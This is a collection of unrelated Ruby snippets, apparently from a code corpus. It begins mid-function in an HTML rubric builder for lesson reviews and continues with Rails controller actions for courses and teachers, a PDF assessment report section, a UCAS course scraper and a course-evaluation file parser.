perspective</li>\"\n end\n if review_scores[84].comments == \"1\"\n code = code + \"<li>Minimal analysis or interpretation</li>\"\n end\n if review_scores[85].comments == \"1\"\n code = code + \"<li>At least one clear and supported point</li>\"\n end\n code = code + \"</ul></td>\"\n\n code = code + \"<td><ul>\"\n if review_scores[86].comments == \"1\"\n code = code + \"<li>No side bar included</li>\"\n end\n if review_scores[87].comments == \"1\"\n code = code + \"<li>No visuals or interactive elements</li>\"\n end\n if review_scores[88].comments == \"1\"\n code = code + \"<li>No perspective is acknowledged</li>\"\n end\n if review_scores[89].comments == \"1\"\n code = code + \"<li>No analysis or interpretation</li>\"\n end\n if review_scores[90].comments == \"1\"\n code = code + \"<li>No well-supported points</li>\"\n end\n code = code + \"</ul></td></tr>\"\n\n code = code + \"</table>\"\n\n code = code + \"<h3>Credibility</h3>\"\n\n code = code +\n \"<div align=\\\"center\\\">To demonstrate its credibility the lesson:</div><table class='general'>\n <tr>\n <th>5 - Completely Credible </th>\n <th>4 - Substantial Credibility </th>\n <th>3 - Reasonable Credibility </th>\n <th>2 - Limited Credibility</th>\n <th>1 - Not Credible </th>\n </tr>\n <tr>\"\n\n code = code + \"<td><ul>\"\n if review_scores[91].comments == \"1\"\n code = code + \"<li>Cites 5 or more diverse, reputable sources in proper APA format</li>\"\n end\n if review_scores[92].comments == \"1\"\n code = code + \"<li>Provides citations for all presented information</li>\"\n end\n if review_scores[93].comments == \"1\"\n code = code + \"<li>Readily identifies bias: both the author's own and others</li>\"\n end\n\n code = code + \"</ul></td>\"\n\n code = code + \"<td><ul>\"\n if review_scores[94].comments == \"1\"\n code = code + \"<li>Cites 5 or more diverse, reputable sources with few APA errors</li>\"\n end\n if review_scores[95].comments == \"1\"\n code = code + \"<li>Provides citations for most information</li>\"\n end\n if review_scores[96].comments == \"1\"\n code = code + \"<li>Clearly differentiates between opinion and fact</li>\"\n end\n\n code = code + \"</ul></td>\"\n\n code = code + \"<td><ul>\"\n if review_scores[97].comments == \"1\"\n code = code + \"<li>Cites 5 or more reputable sources</li>\"\n end\n if review_scores[98].comments == \"1\"\n code = code + \"<li>Supports some claims with citation</li>\"\n end\n if review_scores[99].comments == \"1\"\n code = code + \"<li>Occasionally states opinion as fact</li>\"\n end\n\n code = code + \"</ul></td>\"\n\n code = code + \"<td><ul>\"\n if review_scores[100].comments == \"1\"\n code = code + \"<li>Cites 4 or more reputable sources</li>\"\n end\n if review_scores[101].comments == \"1\"\n code = code + \"<li>Has several unsupported claims</li>\"\n end\n if review_scores[102].comments == \"1\"\n code = code + \"<li>Routinely states opinion as fact and fails to acknowledge bias</li>\"\n end\n\n code = code + \"</ul></td>\"\n\n code = code + \"<td><ul>\"\n if review_scores[103].comments == \"1\"\n code = code + \"<li>Cites 3 or fewer reputable sources</li>\"\n end\n if review_scores[104].comments == \"1\"\n code = code + \"<li>Has mostly unsupported claims</li>\"\n end\n if review_scores[105].comments == \"1\"\n code = code + \"<li>Is very biased and contains almost entirely opinions</li>\"\n end\n\n code = code + \"</ul></td></tr>\"\n\n code = code + \"</table>\"\n\n\n code = code + \"<h3>Pedagogy</h3>\"\n\n code = code +\n \"<div align=\\\"center\\\">To help guide the reader:</div><table class='general'>\n <tr>\n <th>5 - Superior </th>\n <th>4 - Effective </th>\n <th>3 - Acceptable </th>\n <th>2 - Deficient</th>\n <th>1 - Absent </th>\n </tr>\n <tr>\"\n\n code = code + \"<td><ul>\"\n if review_scores[106].comments == \"1\"\n code = code + \"<li>Specific, appropriate, observable learning targets establish the purpose of the lesson</li>\"\n end\n if review_scores[107].comments == \"1\"\n code = code + \"<li>The lesson accomplishes its established goals</li>\"\n end\n if review_scores[108].comments == \"1\"\n code = code + \"<li>Excellent knowledge and application MC questions align with learning targets and assess important content</li>\"\n end\n\n code = code + \"</ul></td>\"\n\n code = code + \"<td><ul>\"\n if review_scores[109].comments == \"1\"\n code = code + \"<li>Specific and reasonable learning targets are stated</li>\"\n end\n if review_scores[110].comments == \"1\"\n code = code + \"<li>The lesson partially meets its established goals</li>\"\n end\n if review_scores[111].comments == \"1\"\n code = code + \"<li>Well constructed MC questions assess important content</li>\"\n end\n\n code = code + \"</ul></td>\"\n\n code = code + \"<td><ul>\"\n if review_scores[112].comments == \"1\"\n code = code + \"<li>Reasonable learning targets are stated</li>\"\n end\n if review_scores[113].comments == \"1\"\n code = code + \"<li>The content relates to its goals</li>\"\n end\n if review_scores[114].comments == \"1\"\n code = code + \"<li>MC questions assess important content</li>\"\n end\n\n code = code + \"</ul></td>\"\n\n code = code + \"<td><ul>\"\n if review_scores[115].comments == \"1\"\n code = code + \"<li>A learning target is included</li>\"\n end\n if review_scores[116].comments == \"1\"\n code = code + \"<li>Content does not achieve its goal, or goal is unclear</li>\"\n end\n if review_scores[117].comments == \"1\"\n code = code + \"<li>4 questions are included</li>\"\n end\n\n code = code + \"</ul></td>\"\n\n code = code + \"<td><ul>\"\n if review_scores[118].comments == \"1\"\n code = code + \"<li>Learning target is missing/ not actually a learning target</li>\"\n end\n if review_scores[119].comments == \"1\"\n code = code + \"<li>Lesson has no goal/ content is unfocused</li>\"\n end\n if review_scores[120].comments == \"1\"\n code = code + \"<li>Questions are missing</li>\"\n end\n\n code = code + \"</ul></td></tr>\"\n\n code = code + \"</table>\"\n code = code + \"<h3>Writing Quality</h3>\"\n\n code = code +\n \"<div align=\\\"center\\\">The writing:</div><table class='general'>\n <tr>\n <th>5 - Excellently Written </th>\n <th>4 - Well Written </th>\n <th>3 - Reasonably Written </th>\n <th>2 - Fairly Written</th>\n <th>1 - Poorly Written </th>\n </tr>\n <tr>\"\n\n code = code + \"<td><ul>\"\n if review_scores[121].comments == \"1\"\n code = code + \"<li>Is focused, organized, and easy to read throughout</li>\"\n end\n if review_scores[122].comments == \"1\"\n code = code + \"<li>Uses rich, descriptive vocabulary and a variety of effective sentence structures</li>\"\n end\n if review_scores[123].comments == \"1\"\n code = code + \"<li>Contains few to no mechanical errors</li>\"\n end\n if review_scores[124].comments == \"1\"\n code = code + \"<li>Has an effective introduction and a conclusion that synthesizes all of the material presented</li>\"\n end\n code = code + \"</ul></td>\"\n\n code = code + \"<td><ul>\"\n if review_scores[125].comments == \"1\"\n code = code + \"<li>Is organized and flows well</li>\"\n end\n if review_scores[126].comments == \"1\"\n code = code + \"<li>Uses effective vocabulary and sentence structures</li>\"\n end\n if review_scores[127].comments == \"1\"\n code = code + \"<li>Contains a few minor mechanical errors</li>\"\n end\n if review_scores[128].comments == \"1\"\n code = code + \"<li>Has an effective introduction and conclusion based on included information</li>\"\n end\n code = code + \"</ul></td>\"\n\n code = code + \"<td><ul>\"\n if review_scores[129].comments == \"1\"\n code = code + \"<li>Is mostly organized</li>\"\n end\n if review_scores[130].comments == \"1\"\n code = code + \"<li>Uses properly constructed sentences</li>\"\n end\n if review_scores[131].comments == \"1\"\n code = code + \"<li>Has a few distracting errors</li>\"\n end\n if review_scores[132].comments == \"1\"\n code = code + \"<li>Includes an introduction and a conclusion</li>\"\n end\n code = code + \"</ul></td>\"\n\n code = code + \"<td><ul>\"\n if review_scores[133].comments == \"1\"\n code = code + \"<li>Can be difficult to follow</li>\"\n end\n if review_scores[134].comments == \"1\"\n code = code + \"<li>Contains several awkward sentences</li>\"\n end\n if review_scores[135].comments == \"1\"\n code = code + \"<li>Has several distracting errors</li>\"\n end\n if review_scores[136].comments == \"1\"\n code = code + \"<li>Lacks either an introduction or a conclusion</li>\"\n end\n code = code + \"</ul></td>\"\n\n code = code + \"<td><ul>\"\n if review_scores[137].comments == \"1\"\n code = code + \"<li>Has minimal organization</li>\"\n end\n if review_scores[138].comments == \"1\"\n code = code + \"<li>Has many poorly constructed sentences</li>\"\n end\n if review_scores[139].comments == \"1\"\n code = code + \"<li>Has many mechanical errors that inhibit comprehension</li>\"\n end\n if review_scores[140].comments == \"1\"\n code = code + \"<li>Has neither a clear introduction nor a conclusion</li>\"\n end\n code = code + \"</ul></td></tr>\"\n\n code = code + \"</table>\"\n\n #*******************Ratings************************\n code = code + \"<h2>Ratings</h2><hr>\"\n\n code = code + \"<h3>Importance</h3>\"\n code = code + \"<i>Grade: </i><b>#{review_scores[141].comments.gsub(/\\\"/,'&quot;').to_s}</b><br/>\"\n code = code + \"<i>Comment: </i><dl><dd>#{review_scores[142].comments.gsub(/\\\"/,'&quot;').to_s}</dl></dd><br/>\"\n\n code = code + \"<h3>Interest</h3>\"\n code = code + \"<i>Grade: </i><b>#{review_scores[143].comments.gsub(/\\\"/,'&quot;').to_s}</b><br/>\"\n code = code + \"<i>Comment: </i><dl><dd>#{review_scores[144].comments.gsub(/\\\"/,'&quot;').to_s}</dl></dd><br/>\"\n\n code = code + \"<h3>Credibility</h3>\"\n code = code + \"<i>Grade: </i><b>#{review_scores[145].comments.gsub(/\\\"/,'&quot;').to_s}</b><br/>\"\n code = code + \"<i>Comment: </i><dl><dd>#{review_scores[146].comments.gsub(/\\\"/,'&quot;').to_s}</dl></dd><br/>\"\n\n code = code + \"<h3>Pedagogy</h3>\"\n code = code + \"<i>Grade: </i><b>#{review_scores[147].comments.gsub(/\\\"/,'&quot;').to_s}</b><br/>\"\n code = code + \"<i>Comment: </i><dl><dd>#{review_scores[148].comments.gsub(/\\\"/,'&quot;').to_s}</dl></dd><br/>\"\n\n code = code + \"<h3>Writing Quality</h3>\"\n code = code + \"<i>Grade: </i><b>#{review_scores[149].comments.gsub(/\\\"/,'&quot;').to_s}</b><br/>\"\n code = code + \"<i>Comment: </i><dl><dd>#{review_scores[150].comments.gsub(/\\\"/,'&quot;').to_s}</dl></dd><br/>\"\n rescue\n code += \"Error \" + $! \n end \n code\nend", "def cfs_kit_launch_tutorial_screen\n\n tutorial_scr_file = \"#{Osk::SCR_DIR}/#{Osk::TUTORIAL_SCR_FILE}\"\n\n scr_tutorial_dir = File.open(tutorial_scr_file) {|f| f.readline}\n\n if scr_tutorial_dir.index(Osk::SCR_DIR).nil? \n cfs_kit_create_tutorial_screen\n end\n \n display(\"CFS_KIT #{File.basename(Osk::TUTORIAL_SCR_FILE,'.txt')}\",500,50)\n \nend", "def student_displayer\n print_header\n print_students_list\n print_footer\nend", "def section(group, new_page)\n if new_page\n start_new_page\n header('')\n font('Roboto', style: :bold, size: 16) do\n text(\n \"#{assessment_report.user.name.possessive} Performance<i><b>GPA</b></i>\\u2122 Assessment Individual Report (cont.)\", {\n inline_format: true, color: CAPACITY_COLOR\n }\n )\n end\n end\n\n stroke_color ORANGE\n fill_color 'FFFFFF'\n move_down RHYTHM * 2\n\n font 'Roboto', size: 13\n table(\n [\n [\n { image: icon_for(group), scale: 0.55 },\n \"#{group.name.capitalize} Capacity - #{assessment_report.group_capacity(group)}\",\n assessment_report.gross_score_for(group)\n ]\n ],\n width: bounds.right + INNER_MARGIN,\n row_colors: [color_for(group)], cell_style: { borders: [] }\n ) do\n column(0).style width: 35\n column(2).style align: :right\n column(2).style padding_right: 10\n column(2).style padding_top: 8\n column(1).style padding_top: 8\n end\n\n font 'Roboto', size: 10\n move_down RHYTHM * 2\n fill_color BLACK\n capacity = assessment_report.group_capacity(group)\n if capacity == 'Organizational Stakeholder'\n group_header_text = \"#{assessment_report.user.name.possessive} scope of #{group.name} is an Organizational Stakeholder\".upcase\n else\n group_header_text = \"#{assessment_report.user.name.possessive} scope of #{group.name} is limited to their #{capacity} area/department\".upcase\n end\n\n font('Roboto', style: :bold, size: 11) do\n text group_header_text\n end\n\n move_down RHYTHM * 1\n text assessment_report.blurb_about_group(group.name)\n move_down RHYTHM * 2\n\n font('Roboto', style: :bold, size: 12) do\n text 'competencies suggested'.upcase\n end\n\n move_down RHYTHM * 1\n\n font('Roboto', size: 10)\n assessment_report.competencies_needed_for(group).each do |comp|\n text comp.name\n text(comp.description.present? ? comp.description : '')\n text ' '\n end\n end", "def show\n if current_teacher.teacher?\n @teacher = current_teacher\n else\n @teacher = Teacher.find(params[:teacher_id])\n end\n @learningwalk = @teacher.learningwalks.find(params[:id])\n render :layout => \"print\"\n \n \n end", "def submission_guidelines\n @title = PageTitle.new I18n.t('page_titles.about.submission_guidelines')\n\n render \"#{Current.theme}/pages/submission_guidelines\"\n end", "def index\n @show_teams_for_many_courses = false\n @machine_name = \"\"\n @teams = Team.find(:all, :order => \"id\", :conditions => [\"course_id = ?\", params[:course_id]]) unless params[:course_id].empty?\n @faculty = User.find(:all, :order => \"twiki_name\", :conditions => [\"is_teacher = true\"])\n @course = Course.find(params[:course_id])\n\n @show_section = false\n @teams.each do |team|\n @show_section = true unless (team.section.nil? || team.section.empty?)\n end\n\n respond_to do |format|\n format.html { render :partial => \"twiki_index\", :locals => {:teams => @teams, :show_new_teams_link => true, :show_photo_view_link => true, :show_student_photos => false, :show_course => false} } # index.html.erb\n format.xml { render :xml => @teams }\n end\n end", "def ux_teacher_powers(teacher, just_teacher_text = \"\")\n if teacher == super_teacher\n \"Super!\"\n elsif teacher.admin\n \"Admin\"\n else\n just_teacher_text\n end\n end", "def phase_one\n\t#Intro\n\n\t\[email protected] do |tribe|\n\t\tputs \"Welcome #{tribe}\".green\n\t\tend\n\nprint_header(\"For Phase 1, you will now compete in 8 challenges for immunity. Good luck!\")\n\n\t8.times do\n\t\timmunity_challenge_losing_tribe = @borneo.immunity_challenge\n\t\tputs \"#{immunity_challenge_losing_tribe}\".green + \" has lost the immunity challenge and must now vote out 1 member.\"\n\t\tmember_voted_off = immunity_challenge_losing_tribe.tribal_council\n\tend\t\nend", "def show\n\n if UPDATED_STEPS.include?(step)\n return new_show\n end\n\n # def old_show\n # Variables for navigation purposes\n @student_start = :student_name\n @guardian_start = :guardian_name_and_address\n @contact_start = :contact_person_1_contact_info\n @permissions = :permissions\n @summary = :summary\n\n begin\n @student = Student.find(session[:student_id])\n rescue\n @student = Student.new\n end\n\n begin\n @guardian = ContactPerson.find(session[:guardian_id]) # TODO Placeholder for getting through UI\n rescue\n @guardian = ContactPerson.create # TODO Placeholder for getting through UI\n end\n\n if session[:second_guardian_id]\n @second_guardian = ContactPerson.find(session[:second_guardian_id])\n else\n @second_guardian = ContactPerson.new\n end\n\n if step == :guardian_phone_and_email\n\n end\n\n #Handle gender pronouns, but not for first step\n if step != :student_gender_and_ethnicity\n @gender_pronoun = genderToPronoun(@student.gender)\n @gender_possessive_pronoun = genderToPossessivePronoun(@student.gender)\n @gender_objective_pronoun = genderToObjectivePronoun(@student.gender)\n @gender_possessive_adjective = genderToPossessiveAdjective(@student.gender)\n end\n\n\n # Handle contact person\n if step == :contact_person_2_contact_info\n @contact_person = ContactPerson.find(session[:contact_person_1_id])\n end\n\n if step == :permissions\n contact_1 = ContactPerson.new(first_name: 'John')\n contact_2 = ContactPerson.new(first_name: 'Ginger')\n contact_3 = ContactPerson.new(first_name: 'Bambi')\n @all_contacts = [contact_1, contact_2, contact_3]\n\n # @all_contacts = ContactPerson.where(contact_person_id:@guardian.id)\n # @all_contacts << @guardian\n # @guardian_and_contacts = @all_contacts.reverse\n end\n\n render_wizard\n end", "def set_info\n @page_header = 'Insight Engine'\n @page_secondary = 'Let\\'s get a view at 10,000 feet.'\n @page_title = 'LeadAccount | Insight Engine'\n @page_icon = 'lightbulb'\n end", "def home\n \n \n \n # @landing=Refinery::Redirects::Redirect.find(1)\n #require 'uri'\n \n #[email protected]_url\n \n \n @headline = Refinery::Headlines::Headline.find(2)\n @side_headline=Refinery::SideHeadlines::SideHeadline.order('position ASC')\n @editors_pick=Refinery::EditorsPicks::EditorsPick.order('position DESC')\n @editors_pick_1=@editors_pick[0]\n @editors_pick_2=@editors_pick[1]\n @editors_pick_3=@editors_pick[2]\n @editors_pick_4=@editors_pick[3]\n \n @south=Refinery::SouthernMinutes::SouthernMinute.order('position DESC')\n @south_1=@south[0]\n @south_2=@south[1]\n @south_3=@south[2]\n @south_4=@south[3]\n @elephants=Refinery::Elephants::Elephant.order('position DESC')\n @[email protected]\n @ears=Refinery::Ears::Ear.order('position DESC')\n @[email protected]\n \n @latest=Refinery::Latests::Latest.order('position DESC')\n @politics=Refinery::Politics::Politic.order('position DESC')\n @news=Refinery::NewsSections::NewsSection.order('position DESC')\n @blog=Refinery::Blogs::Blog.order('position DESC')\n @sports=Refinery::Socials::Social.order('position DESC')\n @enter=Refinery::Entertainments::Entertainment.order('position DESC')\n @opinion=Refinery::OpinionMainpages::OpinionMainpage.order('position DESC')\n @money=Refinery::Lives::Life.order('position DESC')\n @tech=Refinery::Technologies::Technology.order('position DESC')\n @world=Refinery::Worlds::World.order('position DESC')\n @random=Refinery::Randoms::Random.order('position DESC')\n \n \n end", "def admin\n @courses = Course.all\n @student = Student.all\n @taken = Taken.all\n @willing_to_ta = WillingToTa.all\n @willing_to_grade = WillingToGrade.all\n @willing_to_ta_languages = WillingToTaLanguage.all\n @past_ta = PastTa.all\n @language_proficiency = LanguageProficiency.all\n end", "def generate_teacher_index(site, base, dir, path)\n # puts \"666666666666666666666666666666666666666666666666 base \" + base\n # puts \"666666666666666666666666666666666666666666666666 dir \" + dir\n # puts \"666666666666666666666666666666666666666666666666 path \" + path\n teacher = TeacherIndex.new(site, base, dir, path)\n if teacher.data['active']\n # puts \"77777777777777777777777777777777777777777777777777777777\"\n teacher.render(site.layouts, site.site_payload)\n teacher.write(site.dest)\n\n site.pages << teacher\n site.static_files << teacher\n end\n\n end", "def help\n\tusage\n\tputs \"This tool is oriented to separate web pages into segments called blocks, based on the structural and visual properties\"\nend", "def toggle_section\n\n # friend is viewing schedule\n if Semester.find(params[:id]).user.id.to_s != session[:user].to_s\n render :nothing => true\n return\n end\n\n user = User.find session[:user]\n section = CisSection.find(params[:section])\n plan = user.semesters.find(params[:id]).course_plan\n\n if plan.cis_sections.exists? params[:section]\n plan.cis_sections.delete section\n else\n plan.cis_sections.concat section\n end\n\n @semester = Semester.find(params[:id])\n\n # TODO clean this up\n @start_time = DateTime.new(0,1,1,8)\n @end_time = DateTime.new(0,1,1,21,30)\n @time_inc = 15/(24.0*60)\n @courses = @semester.cis_courses\n @plan = @semester.course_plan\n course = section.cis_semester.cis_course\n\n sections = course.sections_for_semester @semester\n\n render :update do |page|\n page.replace_html 'times_row', :partial => 'times_row', :locals => {:semester => @semester}\n page.replace_html \"sects_#{@semester.id}_#{course.id}\", :partial => 'section_choice', :collection => sections, :locals => {:semester => @semester}\n end\n end", "def index\n\n @result\n if teacher_logged_in?\n courses = current_user.teaching_courses\n pageSize = 4\n curpage = params[:curpage]\n if curpage.to_i != 0\n curpage = curpage.to_i\n else\n curpage = 1\n end\n recordCount = courses.length\n currecordslen = (curpage-1) * pageSize\n maxAsize = (currecordslen + pageSize)\n records = []\n coursea = []\n coursea = courses\n if maxAsize > recordCount\n for i in currecordslen...recordCount\n records << coursea[i]\n end\n else\n records = coursea[currecordslen,pageSize]\n end\n cids = [1,2]\n pageinfo = PageInfo.new(curpage,pageSize,recordCount,records,cids)\n @result = pageinfo\n\n elsif student_logged_in?\n pageSize = 4\n curpage = params[:curpage]\n if curpage.to_i != 0\n curpage = curpage.to_i\n else\n curpage = 1\n end\n\n cuid = current_user.id\n grades = Grade.where(:user_id => \"#{cuid}\")\n tep = []\n grades.each do |grade|\n tep << grade.course_id\n end\n courses = Course.find(tep)\n recordCount = courses.length\n records = []\n currecordslen = (curpage-1) * pageSize\n records = Course.find_by_sql(\"select * from courses where id in (select course_id from grades where user_id = #{cuid}) limit #{pageSize} offset #{currecordslen}\")\n cids = [1,2]\n pageinfo = PageInfo.new(curpage,pageSize,recordCount,records,cids)\n @result = pageinfo\n end\n # render :text => \"#{@result}\"\n @result\n end", "def add_demonstrator\n @courses = current_staff.courses\n # find future practicals\n current_time = DateTime.now\n @practicals_of_course = {}\n @courses.each do |course|\n @practicals_of_course[course.course_title] = course.practicals.where('start_time >= ?', current_time)\n end\n end", "def index\n @fourth_story_texts = FourthStoryText.all\n @fourth_story_text = FourthStoryText.new\n @error_message = $error_message\n if !params[:change_page]\n params[:change_page] = 'current'\n end\n if params[:change_page] != 'current'\n if params[:change_page] == 'next'\n $page += 2;\n elsif params[:change_page] == 'previous' && $page > 1\n $page -= 2;\n elsif params[:change_page] == 'first'\n $page = 1;\n else\n $page = params[:change_page].to_i\n end\n params[:change_page] = 'current'\n end \n if $update_post_time\n current_user.fourth_post_timer = Time.now.to_i\n current_user.update()\n $update_post_time = false\n elsif $update_delete_time\n current_user.delete_timer = Time.now.to_i\n current_user.update()\n $update_delete_time = false\n end \n end", "def school; end", "def dashboard\n studentype = params[:type].presence || 'ftic'\n\n case studentype\n when \"ftic\"\n @table_label = \"First Time in College Queue\"\n @modules_availables = FticModulesAvailable.where(:isactive => 1).order(:netid)\n when \"intl\"\n @table_label = \"International Queue\"\n @modules_availables = FticModulesAvailable.where(:isactive => 1).order(:netid)\n when \"transfer\"\n @table_label = \"Transfer Queue\"\n @modules_availables = FticModulesAvailable.where(:isactive => 1).order(:netid)\n else\n @table_label = \"Student Queue\"\n @modules_availabless = FticModulesAvailable.where(:isactive => 1).order(:netid)\n end\n end", "def insert_general_sections(report)\n report.add_field(:client, 'mg')\n report.add_field(:project, 'pcv')\n report.add_field(:section, 'dev1')\n report.add_field(:name, person.name)\n report.add_field(:title_function, person.role)\n\n report.add_field(:header_info, \"#{person.name} - Version 1.0\")\n\n report.add_field(:date, Time.zone.today.strftime('%d.%m.%Y'))\n report.add_field(:version, '1.0')\n report.add_field(:comment, 'Aktuelle Ausgabe')\n end", "def index\n @courses = Course.all[0..5]\n\n @steps = {\n \"Choose courses\" => \"search\",\n \"Create groups\" => \"users\",\n \"Watch videos\" => \"play-circle\",\n \"Build products\" => \"rocket\",\n \"Get help\" => \"question\",\n \"Do exercises\" => \"pencil\"\n }\n\n @skip_header = true\n end", "def add_courses(url, counter, parsed_page)\n all_paragraphs = parsed_page.xpath '//p' # all <p> on the page\n paragraph_number = 8 # The description paragraph for most pages\n\n # get the course's description\n course_description = \"\"\n while !all_paragraphs[paragraph_number].text.eql? \"Qualification\" do\n course_description += all_paragraphs[paragraph_number].text.strip\n course_description += \"\\n\\n\"\n paragraph_number += 1\n end\n # some pages are set up differently\n if course_description.empty?\n course_description = all_paragraphs[7].text\n end\n course_description = course_description.strip\n\n # if it exists, get the provider's url for the course\n provider_url = \"\"\n if !parsed_page.at_css('[id=\"ProviderCourseUrl\"]').nil?\n provider_url = parsed_page.at_css('[id=\"ProviderCourseUrl\"]').attributes[\"href\"].value\n end\n\n department = \"\"\n if !parsed_page.css('span').css('[id=\"contact_Title\"]')[0].nil?\n department = parsed_page.css('span').css('[id=\"contact_Title\"]')[0].text\n end\n\n email = \"\"\n if !parsed_page.at_css('.contact-email').nil?\n #email = parsed_page.at_css('.contact-email').attributes[\"href\"].value\n email = parsed_page.css('[class=\"contact-email\"]')[0].text.strip\n end\n\n # if a contact exists then\n contact = \"\"\n if !parsed_page.at_css('[id=\"contact_Phone\"]').nil?\n contact = parsed_page.at_css('[id=\"contact_Phone\"]').text\n end\n\n # Entry requirements [[Exam type, Grade/Mark, Info]]\n requirements = Array.new\n requirements_section = parsed_page.at_css('[id=\"entry-requirements-section\"]')\n requirements_rows = requirements_section.css('tr').drop(1)\n requirements_rows.each do |row|\n row_info = Array.new\n row_info << row.css('th').text.strip\n row.css('td').each do |col|\n row_info << col.text.strip\n end\n if row_info.count == 2\n row_info << \"\"\n end\n requirements << row_info\n end\n\n # extract additional entry requirements info\n requirements_info = \"\"\n requirements_section.css('p').each do |p|\n requirements_info += p.text.strip\n requirements_info += \"\\n\"\n end\n requirements_info += requirements_section.css('a').text.strip\n requirements_info = requirements_info.strip\n\n # entry points for the course\n entry_points = Array.new\n parsed_page.at_css('[id=\"howToApply\"]').parent.css('li').each do |row|\n entry_points << row.text.strip\n end\n\n # fees info [[student type, fee, fee period]]\n fees = Array.new\n empty_fees_message = \"No fee information has been provided for this course\"\n empty_fees_scraped_message = parsed_page.at_css('[id=\"feesAndFunding\"]').parent.children[3].children[2].text.strip\n if !(empty_fees_scraped_message.eql? empty_fees_message)\n fees_table = parsed_page.css('[class=\"table-responsive table-responsive--list table-borderless table-col1-bold\"]')[-1].children[1]\n fees_rows = fees_table.css('tr').count\n fees = Array.new(fees_rows){Array.new(3)}\n (0...fees_rows).each do |row_number|\n row_info = fees_table.css('tr')[row_number]\n fees[row_number][0] = row_info.css('td')[0].text\n fees[row_number][1] = row_info.css('td')[1].text.split(\"\\u00A3\")[1].split[0].tr(',','')\n fees[row_number][2] = row_info.css('td')[2].text\n end\n end\n\n # extract additional fees info\n fees_sections = parsed_page.at_css('[id=\"feesAndFunding\"]').parent.css('section').drop(1)\n fees_info = \"\"\n fees_sections.each do |section|\n paragraph = section.css('div').text.strip\n if paragraph.empty?\n paragraph = section.css('p').text.strip\n end\n fees_info += paragraph\n end\n fees_info = fees_info.strip\n\n delivery = \"\"\n if parsed_page.css('p').text.eql? \"lectures\"\n delivery = parsed_page.css('p').text.strip\n end\n\n notes = \"\"\n if !parsed_page.css('[id=\"courseDetails\"]').empty?\n notes_sections = parsed_page.at_css('[id=\"courseDetails\"]').parent.css('section')\n notes_sections.each do |section|\n #notes += \"[h3]\"+section.css('h3').text.strip + \"[/h3]\\n\\n\"\n notes += section.text.strip + \"\\n\\n\"\n end\n end\n\n\n # course object with all of the scraped info\n course = {\n name: parsed_page.css('h1.search-result__result-provider').children[0].text.strip,\n qualification: all_paragraphs[paragraph_number+1].text,\n provider: parsed_page.css('h1.search-result__result-provider').children[1].text.strip,\n provider_url: provider_url,\n ucas_url: url,\n description: course_description,\n study_mode: all_paragraphs[paragraph_number+3].text.strip,\n location: all_paragraphs[paragraph_number+5].text.strip,\n start_date: all_paragraphs[paragraph_number+7].text.strip,\n duration: all_paragraphs[paragraph_number+9].text.strip,\n entry_points: entry_points,\n department: department,\n contact_number: contact,\n email: email,\n requirements: requirements,\n requirements_info: requirements_info,\n fees: fees,\n fees_info: fees_info,\n institution: parsed_page.css('td[id=\"institution-code\"]').text,\n course_code: parsed_page.css('td[id=\"application-code\"]').text,\n delivery: delivery,\n notes: notes\n }\n\n puts \"Course #{counter}: #{course[:name]} #{course[:provider]}\"#, delivery: #{course[:delivery]}\"\n @all_courses << course\n end", "def learning_new\n puts \"I am Learning #{TECH_ONE}\"\n end", "def show\n #redirect_to '/', alert: \"Course belongs to different teacher.\" unless @course.teacher == current_teacher\n end", "def teacher_assign\n @course_allocation = CourseAllocation.find_by_course_id(params[:id])\n @course = Course.find(params[:id])\n @teachers = get_teachers_for_institute\n end", "def tempguest\r\n end", "def teachers\n @all_teachers = User.all_teachers\n @current_teachers = User.current_teachers(get_selected_project)\n @number_of_teachers_per_section = User.get_number_of_teachers_per_section(get_array_of_all_sections(get_selected_project), get_selected_project) \n end", "def eval_lecture_head\n b = \"\"\n b << \"\\\\kurskopf{#{title.escape_for_tex}}\"\n b << \"{#{profs.map { |p| p.fullname.escape_for_tex }.join(' / ')}}\"\n b << \"{#{returned_sheets}}\"\n b << \"{#{id}}\"\n b << \"{#{t(:by)}}\\n\\n\"\n unless note.nil? || note.strip.empty?\n b << RT.small_header(I18n.t(:note))\n b << note.strip\n b << \"\\n\\n\"\n end\n b\n end", "def mission_directive_text\n puts \"\\n\"\n tab_title; puts create_title(\"MISSION BRIEFING\") << \"\\n\"\n tab_title; puts \"#{Time.now}\\n\\n\"\n puts_tabbed(\"txt/mission_directive1.txt\")\n press_enter\n puts_tabbed(\"txt/mission_directive2.txt\")\n press_enter\n puts_tabbed(\"txt/mission_directive3.txt\")\n press_enter { \"Press 'ENTER' to activate your communicator.\" }\n end", "def therapist_quest; end", "def headline; end", "def dashboard; end", "def index\n @page_title = \"Welcome, #{current_user.first_name}! Let's Get Cooking...\"\n @info_panel_title = \"Membership info\"\n @user = current_user\n @cookbooks = @user.owned_cookbooks\n @contributed_cookbooks = @user.contributed_cookbooks\n @completed_orders = @user.completed_orders\n end", "def parse_klass_info(line)\n #(dept_abbr, klass_section, instructor, title) = line[0].gsub(/^\"(.*)\"$/,'\\1').split\n (dept_abbr, klass_section, instructor, title) = line[0].scan(\n /^\"*(\\w*)\\s+([^\\s]*)\\s+(.*[^\\s])\\s*\\((\\w*)\\)\"*$/ ).first\n (full_course_number, section) = klass_section.split(\"-\")\n if instructor.index(\",\").nil?\n puts \"Could not parse instructor name #{instructor} correctly. Please check source file.\"\n exit\n end\n (last_name, first_name) = instructor.split(\",\")\n\n # Handles cases where an instructor has multiple parts to their name\n # i.e. El Ghaoui, Laurent\n # i.e. Chang-Hasnain, C.\n first_name = first_name.scan(/(\\W+|\\w+)/).map{|x| x.first.capitalize}.join\n last_name = last_name.scan(/(\\W+|\\w+)/).map{|x| x.first.capitalize}.join\n\n respondents = line[1]\n semester = line[11]\n full_course_number.upcase!\n\n # Check and find department\n department = Department.find_by_nice_abbr(dept_abbr)\n if department.nil?\n puts \"Could not find department #{dept_abbr}. Please check the formatting of the input file.\"\n exit\n end\n\n # Check whether course exists\n (course_number, suffix) = full_course_number.match(/^([0-9]*)([A-Z]*)$/)[1..-1]\n course = Course.find(:first, :conditions => {:department_id => department.id, :course_number => course_number, :suffix => suffix})\n if course.nil?\n puts \"Could not find course #{dept_abbr} #{full_course_number}. Please enter it into the database before rerunning this script\" \n exit\n end\n\n # Check whether instructor exists\n # I have no idea what we should do about duplicates. I'll probably want to see what the old script did\n # So many bad things can happen here if the survey does not format the instructor name properly\n instructor = Instructor.find(:first, :conditions => { :first_name => first_name, :last_name => last_name })\n \n if instructor.nil?\n puts \"No instructor named #{first_name} #{last_name} found. Creating now.\"\n puts \"If this is in error, please merge the instructor entries in the database.\"\n if title == \"prof\"\n privacy = false\n else\n privacy = true\n end\n instructor = Instructor.create( :first_name => first_name, :last_name => last_name, :private => privacy )\n 